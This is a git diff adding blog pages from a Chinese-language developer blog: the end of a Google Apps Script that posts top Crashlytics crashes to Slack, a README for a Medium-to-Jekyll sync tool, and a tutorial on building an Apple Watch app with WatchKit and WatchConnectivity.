+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+
function sendTop10CrashToSlack() {
+
+  var iOSTop10Crashes = queryiOSTop10Crashes();
+  var top10Tasks = new Array();
+  
+  for (var i = 0; i < iOSTop10Crashes.length ; i++) {
+    var issue_id = iOSTop10Crashes[i][0];
+    var issue_title = iOSTop10Crashes[i][1];
+    var issue_subtitle = iOSTop10Crashes[i][2];
+    var number_of_crashes = iOSTop10Crashes[i][3];
+    var number_of_impacted_user = iOSTop10Crashes[i][4];
+
+    var strip_title = issue_title.replace(/[\<|\>]/g, '');
+    var strip_subtitle = issue_subtitle.replace(/[\<|\>]/g, '');
+    
+    top10Tasks.push("<https://console.firebase.google.com/u/1/project/你的ProjectID/crashlytics/app/你的專案ID/issues/"+issue_id+"|"+(i+1)+". Crash: "+number_of_crashes+" 次 ("+number_of_impacted_user+"人) - "+strip_title+" "+strip_subtitle+">");
+  }
+
+  var messages = top10Tasks.join("\n");
+  var payload = {
+    "blocks": [
+      {
+        "type": "header",
+        "text": {
+          "type": "plain_text",
+          "text": ":bug::bug::bug: iOS 近 7 天閃退問題排行榜 :bug::bug::bug:",
+          "emoji": true
+        }
+      },
+      {
+        "type": "divider"
+      },
+      {
+        "type": "section",
+        "text": {
+          "type": "mrkdwn",
+          "text": messages
+        }
+      },
+      {
+        "type": "divider"
+      },
+      {
+        "type": "actions",
+        "elements": [
+          {
+            "type": "button",
+            "text": {
+              "type": "plain_text",
+              "text": "前往 Crashlytics 查看近 7 天紀錄",
+              "emoji": true
+            },
+            "url": "https://console.firebase.google.com/u/1/project/你的ProjectID/crashlytics/app/你的專案ID/issues?time=last-seven-days&state=open&type=crash&tag=all"
+          },
+          {
+            "type": "button",
+            "text": {
+              "type": "plain_text",
+              "text": "前往 Crashlytics 查看近 30 天紀錄",
+              "emoji": true
+            },
+            "url": "https://console.firebase.google.com/u/1/project/你的ProjectID/crashlytics/app/你的專案ID/issues?time=last-thirty-days&state=open&type=crash&tag=all"
+          }
+        ]
+      },
+      {
+        "type": "context",
+        "elements": [
+          {
+            "type": "plain_text",
+            "text": "Crash 次數及發生版本僅統計近 7 天之間數據,並非所有資料。",
+            "emoji": true
+          }
+        ]
+      }
+    ]
+  };
+      
+
+  var slackWebHookURL = "https://hooks.slack.com/services/XXXXX"; //更換成你的 in-coming webhook url
+  UrlFetchApp.fetch(slackWebHookURL,{
+    method             : 'post',
+    contentType        : 'application/json',
+    payload            : JSON.stringify(payload)
+  })
+}
+

如果不知道怎麼取得 in-cming WebHook URL 可以參考 此篇文章 的「取得 Incoming WebHooks App URL」章節。

測試&設定排程

此時你的 Google Apps Script 專案應該會有上述兩個 Function。

接下來請在上方的選擇「sendTop10CrashToSlack」Function,然後點擊 Debug 或 Run 執行測試一次;因第一次執行需要完成身份驗證,所以請至少執行過一次再進行下一步。

執行測試一次沒問題後,可以開始設定排程自動執行:

於左方選擇鬧鐘圖案,再選擇右下方「+ Add Trigger」。

第一個「Choose which function to run」(需要執行的 function 入口) 請改為 sendTop10CrashToSlack ,時間週期可依個人喜好設定。

⚠️⚠️⚠️ 請特別注意每次查詢都會累積然後收費的,所以千萬不要亂設定;否則可能被排程自動執行搞到破產。

完成

範例成果圖

範例成果圖

現在起,你只要在 Slack 上就能快速追蹤當前 App 閃退問題;甚至直接在上面進行討論。

App Crash-Free Users Rate?

如果你想追的是 App Crash-Free Users Rate,可參考下篇「 Crashlytics + Google Analytics 自動查詢 App Crash-Free Users Rate

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

2021 Pinkoi Tech Career Talk —  高效率工程團隊大解密

iOS 隱私與便利的前世今生

diff --git a/posts/e7c547a5be22/index.html b/posts/e7c547a5be22/index.html new file mode 100644 index 000000000..c16537a17 --- /dev/null +++ b/posts/e7c547a5be22/index.html @@ -0,0 +1,3 @@ + ZMediumToJekyll | ZhgChgLi
Home ZMediumToJekyll
Post
Cancel

ZMediumToJekyll

ZMediumToJekyll

Move your Medium posts to a Jekyll blog and keep them in sync in the future.

This tool can help you move your Medium posts to a Jekyll blog and keep them in sync in the future.

It will automatically download your posts from Medium, convert them to Markdown, and upload them to your repository, check out my blog for online demo zhgchg.li .

One-time setting, Lifetime enjoying❤️

Powered by ZMediumToMarkdown .

If you only want to create a backup or auto-sync of your Medium posts, you can use the GitHub Action directly by following the instructions in this Wiki .

Setup

  • You can follow along with each step of this process by watching the following video tutorial

How to move your Medium blog to Jekyll blog

  1. Click the green button Use this template located above and select Create a new repository .
  2. Repo Owner could be an organization or username
  3. Enter the Repository Name, which usually uses your GitHub Username/Organization Name and ends with .github.io , for example, my organization name is zhgchgli than it’ll be zhgchgli.github.io .
  4. Select the public repository option, and then click on Create repository from template .
  5. Grant access to GitHub Actions by going to the Settings tab in your GitHub repository, selecting Actions -> General , and finding the Workflow permissions section , then, select Read and write permissions , and click on Save to save the changes.

*If you choose a different Repository Name, the GitHub page will be https://username.github.io/Repository Name instead of https://username.github.io/ , and you will need to fill in the baseurl field in _config.yml with your Repository Name.

*If you are using an organization and cannot enable Read and Write permissions in the repository settings, please refer to the organization settings page and enable it there.

First-time run

  1. Please refer to the configuration information in the section below and make sure to specify your Medium username in the _zmediumtomarkdown.yml file.
  2. ⌛️ Please wait for the Automatic Build and pages-build-deployment gitHub actions to finish before making any further changes.
  3. Then, you can manually run the ZMediumToMarkdown GitHub action by going to the Actions tab in your GitHub repository, selecting the ZMediumToMarkdown action, clicking on the Run workflow button, and selecting the main branch.
  4. ⌛️ Please wait for the action to download and convert all Medium posts from the specified username, and commit the posts to your repository.
  5. ⌛️ Please wait for the Automatic Build and pages-build-deployment actions will also need to finish before making any further changes, and that they will start automatically once the ZMediumToMarkdown action has completed.
  6. Go to the Settings section of your GitHub repository and select Pages , In the Branch field, select gh-pages , and leave /(root) selected as the default. Click Save , you can also find the URL for your GitHub page at the top of the page.
  7. ⌛️ Please wait the Pages build and deployment action to finish.
  8. 🎉 After all actions are completed, you can visit your xxx.github.io page to verify that the results are correct. Congratulations! 🎉

*To avoid expected Git conflicts or unexpected errors, please follow the steps carefully and in order, and be patient while waiting for each action to complete.

*Note that the first time running may take longer.

*If you open the URL and notice that something is wrong, such as the web style being missing, please ensure that your configuration in the _config.yml file is correct.

*Please refer to the ‘Things to Know’ and ‘Troubleshooting’ sections below for more information.

Configuration

Site Setting

_zmediumtomarkdown.yml

1
+
medium_username: # enter your username on Medium.com
+

Please specify your Medium username for automatic download and syncing of your posts.

_config.yml & jekyll setting

For more information, please refer to jekyll-theme-chirpy or jekyllrb .

Github Action

ZMediumToMarkdown

You can configure the time interval for syncing in ./.github/workflows/ZMediumToMarkdown.yml .

The default time interval for syncing is once per day.

You can also manually run the ZMediumToMarkdown action by going to the Actions tab in your GitHub repository, selecting the ZMediumToMarkdown action, clicking on the Run workflow button, and selecting the main branch.

Disclaimer

All content downloaded using ZMediumToMarkdown, including but not limited to articles, images, and videos, are subject to copyright laws and belong to their respective owners. ZMediumToMarkdown does not claim ownership of any content downloaded using this tool.

Downloading and using copyrighted content without the owner’s permission may be illegal and may result in legal action. ZMediumToMarkdown does not condone or support copyright infringement and will not be held responsible for any misuse of this tool.

Users of ZMediumToMarkdown are solely responsible for ensuring that they have the necessary permissions and rights to download and use any content obtained using this tool. ZMediumToMarkdown is not responsible for any legal issues that may arise from the misuse of this tool.

By using ZMediumToMarkdown, users acknowledge and agree to comply with all applicable copyright laws and regulations.

Troubleshooting

My GitHub page keeps presenting a 404 error or doesn’t update with the latest posts.

  • Please make sure you have followed the setup steps above in order.
  • Wait for all GitHub actions to finish, including the Pages build and deployment and Automatic Build actions, you can check the progress on the Actions tab.
  • Make sure you have the correct settings selected in Settings -&gt; Pages .

Things to know

  • The ZMediumToMarkdown GitHub Action for syncing Medium posts will automatically run every day by default, and you can also manually trigger it on the GitHub Actions page or adjust the sync frequency as needed.
  • Every commit and post change will trigger the Automatic Build & Pages build and deployment action. Please wait for this action to finish before checking the final result.
  • You can create your own Markdown posts in the _posts directory by naming the file as YYYY-MM-DD-POSTNAME and recommend using lowercase file names.
  • You can include images and other resources in the /assets directory.
  • Also, if you would like to remove the ZMediumToMarkdown watermark located at the bottom of the post, you may do so. I don’t mind.
  • You can edit the Ruby file at tools/optimize_markdown.rb and uncomment lines 10–12 . This will automatically remove the ZMediumToMarkdown watermark at the end of all posts during Jekyll build time.
  • Since ZMediumToMarkdown is not an official tool and Medium does not provide a public API for it, I cannot guarantee that the parser target will not change in the future. However, I have tried to test it for as many cases as possible. If you encounter any rendering errors or Jekyll build errors, please feel free to create an issue and I will fix them as soon as possible.

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

手工打造 HTML 解析器的那些事

遊記 2023 京阪神 8 日自由行

diff --git a/posts/e85d77b05061/index.html b/posts/e85d77b05061/index.html new file mode 100644 index 000000000..85c36578b --- /dev/null +++ b/posts/e85d77b05061/index.html @@ -0,0 +1,623 @@ + 動手做一支 Apple Watch App 吧! | ZhgChgLi
Home 動手做一支 Apple Watch App 吧!
Post
Cancel

動手做一支 Apple Watch App 吧!

動手做一支 Apple Watch App 吧!(Swift)

watchOS 5 手把手開發Apple Watch App 從無到有

[最新] Apple Watch Series 6 開箱&使用兩年體驗心得 >>>點我前往

前言:

暨上一篇 Apple Watch 入手開箱文 後已經過了快三個月,最近終於找到機會研究開發Apple Watch App啦。

[結婚吧 — 最大婚禮籌備App](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329#?platform=appleWatch){:target="_blank"}

結婚吧 — 最大婚禮籌備App

補一下使用三個月後的心得: 1. e-sim(LTE)依然還想不到什麼時候會用到,所以也還沒申請沒用過 2.常用功能:靠近解鎖Mac電腦、舉手查看通知、Apple Pay 3.健康提醒:過了三個月已開始懶了,通知提醒都看看,沒達成圓圈也無感 4.第三方App支援度依然很差 5.錶面可依照心情任意更換增加新鮮感 6.更詳細的運動紀錄:例如走遠一點路去買晚餐,手錶會自動偵測詢問是否要記錄運動

使用三個月後整體來說,還是如原開箱文所寫就像是多個生活小助手,幫你解決瑣碎的事.

第三方App支援度依然很差

在我實際開發過Apple Watch App之前還很納悶,為何Apple Watch上的App都很陽春甚至就只是「堪用」罷了,包括LINE(訊息不同步而且從未更新)、Messenger(就是堪用);直到我實際開發過Apple Watch App之後才知道這些開發者的苦衷….

首先,了解Apple Watch App的定位,化繁為簡

Apple Watch的定位 「不是取代iPhone,而是輔助」 不論是官方介紹、官方App、watchOS API都是這個走向;所以才會覺得第三方APP很陽春、功能很少(抱歉,我太貪心了Orz)

我們的A pp為例,有搜尋商家、查看專欄、討論區、線上詢問…等等功能;線上詢問就是有價值搬上Apple Watch的項目,因為他需要即時性而且更快速的回覆代表更有機會獲得訂單;搜尋商家、查看專欄、討論區這些功能相對複雜,在手錶上就算做的到也意義不大(螢幕能呈現的資訊太少、也不需要即時性)

核心概念還是「以輔助為主」,所以並不是什麼功能都需要搬上Apple Watch;畢竟使用者很少很少時間會是只有戴手錶沒帶手機,而遇到這種情況時,使用者的需求也只有重要的功能(像查看專欄文章這種沒有重要到一定要立刻馬上用手錶看)

讓我們開始吧!

這也是我第一次開發Apple Watch App,文章內容可能不夠深入,敬請大家指教!!

本篇只適合有開發過iOS App/UIKit基礎的讀者閱讀

本篇使用:iOS ≥ 9、watchOS ≥ 5

為iOS專案新建 watchOS Target:

File -> New -> Target -> watchOS -> WatchKit App

File -> New -> Target -> watchOS -> WatchKit App

*Apple Watch App無法獨立安裝,一定要依附在 iOS App 之下

新建好之後目錄會長這樣:

你會發現有兩個Target項目,缺一不可:

  1. WatchKit App: 負責存放資源、UI顯示 /Interface.storyboard:同 iOS,裡面有系統預設建立的視圖控制器 /Assets.xcassets:同 iOS,存放用到的資源項目 /info.plist:同 iOS,WatchKit App 相關設定
  2. WatchKit Extension: 負責程式呼叫、邏輯處理( * .swift) /InterfaceController.swift:預設的視圖控制器程式 /ExtensionDelegate.swift:類似Swift的AppDelegate,Apple Watch App 啟動入口 /NotificationController.swift:用於處理Apple Watch App上的推播顯示 /Assets.xcassets:這裡不使用,我統一放在WatchKit App的Assets.xcassets下 /info.plist:同 iOS,WatchKit Extension 相關設定 /PushNotificationPayload.apns:推播資料,可用在模擬器上測試推播功能

細節會在後面做介紹,先大概了解一下目錄及文件內容功能即可。

視圖控制器:

在AppleWatch中視圖控制器不叫ViewController而是InterfaceController ,你可以在WatchKit App/Interface.storyboard中找到Interface Controller Scence,控制它的程式就放在WatchKit Extension/InterfaceController.swift中(同iOS概念)

Scene預設會和Notification Controller Scene擠在一起 (我會把它拉上面一點分開)

Scene預設會和Notification Controller Scene擠在一起 (我會把它拉上面一點分開)

可在右方設定InterfaceController的標題顯示文字.

標題顏色部分吃的是Interface Builder Document/Global hint設定,整個App的風格顏色會是統一的.

元件庫:

沒有太多複雜的元件,元件功能也都簡單明瞭

沒有太多複雜的元件,元件功能也都簡單明瞭

UI 排版:

萬丈高樓從View起,排版的部分沒有 UIKit(iOS) 中的Auto Layout、約束、圖層,全都使用參數進行排版設置,更簡單有力(排起來有點像 UIKit 中的 UIStackView)

一切排版由Group組成,類似UIKit中的 UIStackView 但能設置更多排版參數

Group的參數設置

Group的參數設置

  1. Layout:設置被包在裡面的子View排版方式(水平、垂直、圖層堆疊)
  2. Insets:設置Group的上下左右間距
  3. Spacing:設置被包在裡面的子View之間的間距
  4. Radius:設置Group的圓角,沒錯!WatchKit自帶圓角設置參數
  5. Alignment/Horizontal:設置水平對齊方式(左、中、右)與鄰居、外層包覆的View設置會有所連動
  6. Alignment/Vertical:設置垂直對齊方式(上、中、下)與鄰居、外層包覆的View設置會有所連動
  7. Size/Width:設置Group的大小,有三種模式可選「Fixed:指定寬度」、「Size To Fit Content:依照內容子View大小決定寬度」、「Relative to Container:參照外層包覆的View大小為寬度(可設%/+ -修正值)」
  8. Size/Height:同Size/Width,此項是設置高度

字型/字體大小設置:

可直接套用系統的Text Styles,或使用Custom(但這邊我測試使用Custom無法設定字體大小);所以 我是使用System 自訂各顯示Label的字體大小

做中學:以Line排版為例

排版部分不像 iOS 那麼複雜,所以我直接透過範例示範給大家看,就能直接上手;以 Line 的主頁排版為例子:

在WatchKit App/Interface.storyboard中找到Interface Controller Scence:

1.整個頁面,相當於 iOS App 開發中會使用到的 UITableView,在Apple Watch App 中簡化了操作,名字也改叫做「WKInterfaceTable」 首先就先拉一個Table到Interface Controller Scence中

同UIKit UITableView,有Table本體、有Cell(Apple Watch中叫做Row);使用起來簡化許多, 你可以直接在此介面上進行Cell的設計排版!

2. 分析排版架構,設計Row顯示樣式:

要排出一個左邊有圓角滿版的Image且堆疊一個Label,右邊平均分配上下兩個區塊,上方放Label,下方也放Label的區塊

2–1: 拉出左右兩區塊的架構

拉兩個Group到Group中,並對Size參數分別設定:

左邊綠色部分:

Layout設定Overlap,裡面子View要做未讀訊息Label的圖層堆疊顯示

Layout設定Overlap,裡面子View要做未讀訊息Label的圖層堆疊顯示

設固定長寬40的正方形

設固定長寬40的正方形

右邊紅色部分:

Layout設定Vertical,裡面子View要做上下兩個顯示

Layout設定Vertical,裡面子View要做上下兩個顯示

寬度設定參照外層,比例100%,扣掉左邊綠色部分40

寬度設定參照外層,比例100%,扣掉左邊綠色部分40

左右容器內排版:

左邊部分:拉入一個Image,再拉入一個包覆Lable的Group對齊設右下(Group設底色再設間距及圓角)

右邊部分:拉入兩個Label,一個對齊設左上,一個對齊設左下即可

為Row命名(同UIKit UITableView為Cell設定identifier):

選定Row->Identifier->輸入自訂名稱

選定Row->Identifier->輸入自訂名稱

Row的呈現樣式不只一種呢?

非常簡單,只要在拉一個Row放在Table裡(實際要顯示哪個樣式的ROW由程式控制)並輸入Identifier命名即可

這邊我再拉一個Row用於呈現無資料時的提示

這邊我再拉一個Row用於呈現無資料時的提示

排版相關資訊

watchKit的hidden不會佔位,可拿來做交互應用(有登入才顯示Table;沒登入顯示提示Label)

排版到此告一段落,可依照個人設計做修改;上手容易,多排個幾次、玩玩對齊參數,就能熟悉!

程式控制部分:

接續Row,我們需要建立一個Class對Row進行參照操作:

1
+2
+
class ContactRow:NSObject {
+}
+

1
+2
+3
+4
+5
+6
+7
+8
+
class ContactRow:NSObject {
+    var id:String?
+    @IBOutlet var unReadGroup: WKInterfaceGroup!
+    @IBOutlet var unReadLabel: WKInterfaceLabel!
+    @IBOutlet weak var imageView: WKInterfaceImage!
+    @IBOutlet weak var nameLabel: WKInterfaceLabel!
+    @IBOutlet weak var timeLabel: WKInterfaceLabel!
+}
+

Table部分ㄧ樣拉Outlet到Controller中:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+
class InterfaceController: WKInterfaceController {
+
+    @IBOutlet weak var Table: WKInterfaceTable!
+    override func awake(withContext context: Any?) {
+        super.awake(withContext: context)
+        
+        // Configure interface objects here.
+    }
+    
+    override func willActivate() {
+        // This method is called when watch view controller is about to be visible to user
+        super.willActivate()
+    }
+    
+    struct ContactStruct {
+        var name:String
+        var image:String
+        var time:String
+    }
+    
+    func loadData() {
+        //Get API Call Back...
+        //postData {
+        let data:[ContactStruct] = [] //api returned data...
+        
+        self.Table.setNumberOfRows(data.count, withRowType: "ContactRow")
+        //如果你有多種ROW需要呈現則用:
+            //self.Table.setRowTypes(["ContactRow","ContactRow2","ContactRow3"])
+        //
+        for item in data.enumerated() {
+            if let row = self.Table.rowController(at: item.offset) as? ContactRow {
+                row.nameLabel.setText(item.element.name)
+                //assign value to lable/image......
+            }
+        }
+        
+        //}
+    }
+    
+    override func didDeactivate() {
+        // This method is called when watch view controller is no longer visible
+        super.didDeactivate()
+        loadData()
+    }
+    
+    //處理Row點選時:
+    override func table(_ table: WKInterfaceTable, didSelectRowAt rowIndex: Int) {
+        guard let row = table.rowController(at: rowIndex) as? ContactRow,let id = row.id else {
+            return
+        }
+        self.pushController(withName: "showDetail", context: id)
+    }
+}
+

Table的操作簡化許多沒有delegate/datasource,設定資料方式只要呼叫setNumberOfRows/setRowTypes指定Row數量和形態,再使用rowController(at:) 設定每列的資料內容即可!

Table的Row選擇事件也只需 override func table( _ table: WKInterfaceTable, didSelectRowAt rowIndex: Int) 即可操作!(Table也只有這個事件)

如何跳頁?

首先為Interface Controller設定Identifier

首先為Interface Controller設定Identifier

watchKit有兩種跳頁模式:

1.類似iOS UIKit push self.pushController(withName: Interface Controller Identifier , context: Any? )

push方式可左上返回

push方式可左上返回

返回上一頁同iOS UIKit:self.pop( )

返回根頁面:self.popToRootController( )

開新頁面:self.presentController( )

2. 頁籤顯示方式 WKInterfaceController.reloadRootControllers(withNames: [ Interface Controller Identifier ], contexts: [ Any? ] )

亦或是在Storyboard上,在第一頁的Interface Controller上按Control+Click拖曳到第二頁選擇「next page」也可

頁籤顯示方式可以左右切換頁面

頁籤顯示方式可以左右切換頁面

兩種跳頁方式不能混用.

跳頁參數?

不像iOS需要使用自訂delegate或segue方式傳遞參數,watchKit跳頁帶參數方式就是將參數放入上方方法中的 contexts 中即可.

接收參數在 InterfaceController 的 awake(withContext context: Any?)

例如我在A頁面要跳到B頁面並帶入id:Int時:

1
+
self.pushController(withName: "showDetail", context: 100)
+
1
+2
+3
+4
+5
+6
+7
+8
+9
+
override func awake(withContext context: Any?) {
+        super.awake(withContext: context)
+        guard let id = context as? Int else {
+           print("參數錯誤!")
+           self.popToRootController()
+           return
+        }
+        // Configure interface objects here.
+}
+

程式控制元件部分

相比iOS UIKit一樣簡化許多,有開發過iOS的應該上手很快! 例如label變成setText( ) p.s. 而且居然沒有getText的方法,只能extension變數或放在外部變數儲存

與iPhone之間同步/資料傳遞

如果有開發過iOS 相關 Extension 的話;下意識一定是用App Groups共享UserDefaults的方式,當初我也興沖沖的這樣做,然後卡了好久發現資料一直過不去,直到上網一查才發現,watchOS>2之後就不再支援此方法了….

要使用新的WatchConnectivity方式讓手機跟手錶之間進行通訊(類似socket概念),iOS手機及手錶watchOS兩端都需要實做,我們寫成singleton模式如下:

手機端:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+
import WatchConnectivity
+
+class WatchSessionManager: NSObject, WCSessionDelegate {
+    @available(iOS 9.3, *)
+    func session(_ session: WCSession, activationDidCompleteWith activationState: WCSessionActivationState, error: Error?) {
+        //手機端session啟用完成
+    }
+    
+    func session(_ session: WCSession, didReceiveUserInfo userInfo: [String : Any] = [:]) {
+        //手機端接受到手錶傳回的UserInfo
+    }
+    
+    func session(_ session: WCSession, didReceiveMessage message: [String : Any], replyHandler: @escaping ([String : Any]) -> Void) {
+        //手機端接受到手錶回傳的Message
+    }
+    
+    //另外還有didReceiveMessageData,didReceiveFile同樣都是處理收到手錶回傳的資料
+    //看你的資料傳遞接收需求決定要用哪個
+    
+    func sendUserInfo() {
+        guard let validSession = self.validSession,validSession.isReachable else {
+            return
+        }
+        
+        if userDefaultsTransfer?.isTransferring == true {
+            userDefaultsTransfer?.cancel()
+        }
+        
+        var list:[String:Any] = [:]
+        //將UserDefaults放入list....
+        
+        self.userDefaultsTransfer = validSession.transferUserInfo(list)
+    }
+    
+    func sessionReachabilityDidChange(_ session: WCSession) {
+        //與手錶APP連接狀態改變時(手錶開啟APP時/手錶關閉APP時)
+        sendUserInfo()
+        //我是當狀態改變,如為手錶開啟APP時就同步一次UserDefaults
+    }
+    
+    func session(_ session: WCSession, didFinish userInfoTransfer: WCSessionUserInfoTransfer, error: Error?) {
+        //完成同步UserDefaults(transferUserInfo)
+    }
+    
+    func sessionDidBecomeInactive(_ session: WCSession) {
+        
+    }
+    
+    func sessionDidDeactivate(_ session: WCSession) {
+        
+    }
+    
+    static let sharedManager = WatchSessionManager()
+    private override init() {
+        super.init()
+    }
+    
+    private let session: WCSession? = WCSession.isSupported() ? WCSession.default : nil
+    private var validSession: WCSession? {
+        if let session = session, session.isPaired && session.isWatchAppInstalled {
+            return session
+        }
+        //回傳有效且連接中且手錶APP開啟中的session
+        return nil
+    }
+    
+    func startSession() {
+        session?.delegate = self
+        session?.activate()
+    }
+}
+
+

並在iOS/AppDelegate.swift的application( _ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?)中加入WatchSessionManager.sharedManager.startSession( ) 以在啟動手機APP後連接上session

手錶端:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+
import WatchConnectivity
+
+class WatchSessionManager: NSObject, WCSessionDelegate {
+    func session(_ session: WCSession, activationDidCompleteWith activationState: WCSessionActivationState, error: Error?) {
+    }
+    
+    func sessionReachabilityDidChange(_ session: WCSession) {
+        guard session.isReachable else {
+            return
+        }
+        
+    }
+    
+    func session(_ session: WCSession, didFinish userInfoTransfer: WCSessionUserInfoTransfer, error: Error?) {
+        
+    }
+    
+    func session(_ session: WCSession, didReceiveUserInfo userInfo: [String : Any] = [:]) {
+        DispatchQueue.main.async {
+            //UserDefaults:
+            //print(userInfo)
+        }
+    }
+    
+    static let sharedManager = WatchSessionManager()
+    private override init() {
+        super.init()
+    }
+    
+    private let session: WCSession? = WCSession.isSupported() ? WCSession.default : nil
+    
+    func startSession() {
+        session?.delegate = self
+        session?.activate()
+    }
+}
+
+

並在WatchOS Extension/ExtensionDelegate.swift中的applicationDidFinishLaunching( ) 加入 WatchSessionManager.sharedManager.startSession( ) 以在啟動手錶APP後連接上session

WatchConnectivity 資料傳遞方式

傳資料用:sendMessage,sendMessageData,transferUserInfo,transferFile 收資料用:didReceiveMessageData,didReceive,didReceiveMessage 兩端傳接收方法都ㄧ樣

可以看到手錶傳資料到手機都通,但手機傳資料到手錶僅限手錶APP開啟中

watchOS推播處理

專案目錄底下的PushNotificationPayload.apns這時就派上用場了,這是用來在模擬器上測試推播之用,在模擬器上部署Watch App target,安裝完啟動App就會收到一則以這個檔案內容的推播,讓開發者更容易測試推播功能.

如要修改/啟用/停用 PushNotificationPayload.apns,請選擇Target後Edit Scheme

如要修改/啟用/停用 PushNotificationPayload.apns,請選擇Target後Edit Scheme

watchOS 推播處理:

同iOS我們實做UNUserNotificationCenterDelegate,在watchOS中我們也實作一樣的方法,在watchOS Extension/ExtensionDelegate.swift中

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+
import WatchKit
+import UserNotifications
+import WatchConnectivity
+
+class ExtensionDelegate: NSObject, WKExtensionDelegate, UNUserNotificationCenterDelegate {
+
+    func applicationDidFinishLaunching() {
+        
+        WatchSessionManager.sharedManager.startSession() //前面提到的WatchConnectivity連線
+      
+        UNUserNotificationCenter.current().delegate = self //設定UNUserNotificationCenter delegate
+        // Perform any final initialization of your application.
+    }
+    
+    func userNotificationCenter(_ center: UNUserNotificationCenter, willPresent notification: UNNotification, withCompletionHandler completionHandler: @escaping (UNNotificationPresentationOptions) -> Void) {
+        completionHandler([.sound, .alert])
+        //同iOS,此做法可讓推播在APP前景時依然會顯示
+    }
+    
+    func userNotificationCenter(_ center: UNUserNotificationCenter, didReceive response: UNNotificationResponse, withCompletionHandler completionHandler: @escaping () -> Void) {
+        //點擊推播時
+        guard let info = response.notification.request.content.userInfo["aps"] as? NSDictionary,let alert = info["alert"] as? Dictionary<String,String>,let data = info["data"] as? Dictionary<String,String> else {
+            completionHandler()
+            return
+        }
+        
+        //response.actionIdentifier可得點擊事件Identifier
+        //預設點擊事件:UNNotificationDefaultActionIdentifier
+        
+        if alert["type"] == "new_ask") {
+            WKExtension.shared().rootInterfaceController?.pushController(withName: "showDetail", context: 100)
+            //取得目前root interface controller 並 push
+        } else {
+           //其他處理....
+           //WKExtension.shared().rootInterfaceController?.presentController(withName: "", context: nil)
+            
+        }
+        
+        completionHandler()
+    }
+}
+

watchOS 推播顯示,分成三種:

  1. static: 預設推播顯示方式

會同手機推播,這邊手機端iOS有實做UNUserNotificationCenter.setNotificationCategories在通知下方增加按鈕;Apple Watch預設亦然會出現

會同手機推播,這邊手機端iOS有實做UNUserNotificationCenter.setNotificationCategories在通知下方增加按鈕;Apple Watch預設亦然會出現

  1. dynamic:動態處理推播顯示樣式(重組內容、顯示圖片)
  2. interactive:watchOS ≥ 5 後支援,在dynamic的基礎下再增加支援按鈕

可在Interface.storyboard中的Static Notification Interface Controller Scene設定推播處理方式

可在Interface.storyboard中的Static Notification Interface Controller Scene設定推播處理方式

static沒什麼好說的,就是走預設的顯示方式,這邊先介紹dynamic,勾選「Has Dynamic Interface」後會出現「Dynamic Interface」可在此視圖設計你自訂的推播呈現方式(不能使用Button):

我的自訂推播呈現設計

我的自訂推播呈現設計

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+
import WatchKit
+import Foundation
+import UserNotifications
+
+class NotificationController: WKUserNotificationInterfaceController {
+
+    @IBOutlet var imageView: WKInterfaceImage!
+    @IBOutlet var titleLabel: WKInterfaceLabel!
+    @IBOutlet var contentLabel: WKInterfaceLabel!
+    
+    override init() {
+        // Initialize variables here.
+        super.init()
+        self.setTitle("結婚吧") //設定右上方標題
+        // Configure interface objects here.
+    }
+
+    override func willActivate() {
+        // This method is called when watch view controller is about to be visible to user
+        super.willActivate()
+    }
+
+    override func didDeactivate() {
+        // This method is called when watch view controller is no longer visible
+        super.didDeactivate()
+    }
+    
+    override func didReceive(_ notification: UNNotification) {
+        
+        if #available(watchOSApplicationExtension 5.0, *) {
+            self.notificationActions = []
+            //清除iOS實做的UNUserNotificationCenter.setNotificationCategories在通知下方增加的按鈕
+        }
+        
+        guard let info = notification.request.content.userInfo["aps"] as? NSDictionary,let alert = info["alert"] as? Dictionary<String,String> else {
+            return
+        }
+        //推播資訊
+        
+        self.titleLabel.setText(alert["title"])
+        self.contentLabel.setText(alert["body"])
+        
+        if #available(watchOSApplicationExtension 5.0, *) {
+            if alert["type"] == "new_msg" {
+              //如果是新訊息推播則在通知下方增加回覆按鈕
+              self.notificationActions = [UNNotificationAction(identifier: "replyAction",title: "回覆", options: [.foreground])]
+            } else {
+              //其他則增加查看按鈕
+              self.notificationActions = [UNNotificationAction(identifier: "openAction",title: "查看", options: [.foreground])]
+            }
+        }
+        
+        
+        // This method is called when a notification needs to be presented.
+        // Implement it if you use a dynamic notification interface.
+        // Populate your dynamic notification interface as quickly as possible.
+        
+    }
+}
+

